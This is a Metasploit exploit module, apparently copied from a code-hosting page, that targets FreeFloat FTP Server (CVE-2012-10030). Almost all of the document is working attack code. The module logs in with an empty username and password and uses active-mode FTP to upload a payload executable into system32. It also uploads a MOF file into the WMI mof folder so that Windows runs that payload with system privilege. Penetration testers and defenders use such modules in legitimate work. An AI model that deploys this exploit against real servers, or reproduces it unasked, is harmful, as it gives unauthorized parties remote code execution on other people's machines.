Path: blob/master/modules/exploits/windows/ftp/freefloatftp_wbem.rb
24830 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78include Msf::Exploit::Remote::Ftp9include Msf::Exploit::Remote::TcpServer10include Msf::Exploit::EXE11include Msf::Exploit::WbemExec12include Msf::Exploit::FileDropper1314def initialize(info = {})15super(16update_info(17info,18'Name' => "FreeFloat FTP Server Arbitrary File Upload",19'Description' => %q{20This module abuses multiple issues in FreeFloat: 1. No credential is actually21needed to login; 2. User's default path is in C:\, and this cannot be changed;223. User can write to anywhere on the server's file system. As a result of these23poor implementations, a malicious user can just log in and then upload files,24and let WMI (Management Instrumentation service) to execute the payload uploaded.25},26'License' => MSF_LICENSE,27'Author' => [28'sinn3r', # Vulnerability discovery, Metasploit module29'juan vazquez' # Metasploit module30],31'References' => [32['CVE', '2012-10030'],33['OSVDB', '88302'],34['OSVDB', '88303']35],36'Platform' => 'win',37'Targets' => [38['FreeFloat', {}]39],40'Privileged' => true,41'DisclosureDate' => '2012-12-07',42'DefaultTarget' => 0,43'Notes' => {44'Reliability' => UNKNOWN_RELIABILITY,45'Stability' => UNKNOWN_STABILITY,46'SideEffects' => UNKNOWN_SIDE_EFFECTS47}48)49)5051register_options(52[53# Change the default description so this option makes sense54OptPort.new('SRVPORT', [true, 'The local port to listen on for active mode', 8080])55]56)5758deregister_options('FTPUSER', 'FTPPASS') # Using empty user and password59end6061def check62connect63disconnect6465if banner =~ /FreeFloat/66return Exploit::CheckCode::Detected67else68return Exploit::CheckCode::Safe69end70end7172def on_client_connect(cli)73peer = "#{cli.peerhost}:#{cli.peerport}"7475case @stage76when :exe77print_status("Sending executable (#{@exe.length.to_s} bytes)")78cli.put(@exe)79@stage = :mof8081when :mof82print_status("Sending MOF (#{@mof.length.to_s} bytes)")83cli.put(@mof)84end8586cli.close87end8889def upload(filename)90select(nil, nil, nil, 1)9192peer = "#{rhost}:#{rport}"93print_status("Trying to upload #{::File.basename(filename)}")9495conn = connect(false, datastore['VERBOSE'])9697print_status("Sending empty login...")9899res = send_user("", conn)100if not res or res !~ /331/101print_error("Error sending username")102return false103end104105res = send_pass("", conn)106if not res or res !~ /230/107print_error("Error sending password")108return false109end110111print_good("Empty authentication was successful")112113# Switch to binary mode114print_status("Set binary mode")115send_cmd(['TYPE', 'I'], true, conn)116117# Prepare active mode: Get attacker's IP and source port118src_ip = datastore['SRVHOST'] == '0.0.0.0' ? Rex::Socket.source_address : datastore['SRVHOST']119src_port = datastore['SRVPORT'].to_i120121# Prepare active mode: Convert the IP and port for active mode122src_ip = src_ip.gsub(/\./, ',')123src_port = "#{src_port / 256},#{src_port.remainder(256)}"124125# Set to active mode126print_status("Set active mode \"#{src_ip},#{src_port}\"")127send_cmd(['PORT', "#{src_ip},#{src_port}"], true, conn)128129# Tell the FTP server to download our file130send_cmd(['STOR', filename], false, conn)131132disconnect(conn)133end134135def exploit136exe_name = "WINDOWS/system32/#{rand_text_alpha(rand(10) + 5)}.exe"137mof_name = "WINDOWS/system32/wbem/mof/#{rand_text_alpha(rand(10) + 5)}.mof"138@mof = generate_mof(::File.basename(mof_name), ::File.basename(exe_name))139@exe = generate_payload_exe140@stage = :exe141142begin143t = framework.threads.spawn("reqs", false) {144begin145# Upload our malicious executable146u = upload(exe_name)147# Upload the mof file148upload(mof_name) if u149register_file_for_cleanup("#{::File.basename(exe_name)}")150register_file_for_cleanup("wbem\\mof\\good\\#{::File.basename(mof_name)}")151rescue ::Exception => e152print_error "Upload Failed: #{e.message}"153cleanup154end155}156super157ensure158t.kill159end160end161end162163164